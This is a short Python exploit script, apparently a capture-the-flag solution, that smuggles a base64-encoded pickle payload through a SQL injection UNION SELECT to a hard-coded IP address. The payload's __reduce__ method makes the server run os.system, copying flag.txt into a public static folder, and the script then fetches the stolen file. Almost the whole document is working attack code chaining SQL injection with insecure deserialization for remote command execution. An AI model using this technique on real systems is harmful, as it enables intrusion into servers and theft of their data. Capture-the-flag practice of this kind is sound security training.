1
import pickle
2
import base64
3
import os
4
import requests
5

6
# Payload to be executed on the server
7
payload = 'cp flag.txt application/static/achux21.txt'
8

9
# Class definition for creating a serialized payload using Pickle
10
class RCE:
11
    def __reduce__(self):
12
        return os.system, (payload,)
13

14
# If the script is run directly, not imported as a module
15
if __name__ == '__main__':
16
    # Serialize the payload using Pickle and encode it in base64
17
    var = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii')
18

19
# Craft a URL to trigger the SQL injection vulnerability
20
# The UNION SELECT statement is used to inject the serialized payload
21
r = requests.get(f"http://167.99.82.136:30931/view/%27%20UNION%20SELECT%27{var}")
22

23
# Retrieve the result of the executed payload
24
flag = requests.get(f"http://167.99.82.136:30931/static/achux21.txt")
25

26
# Print the result (flag)
27
print(flag.text)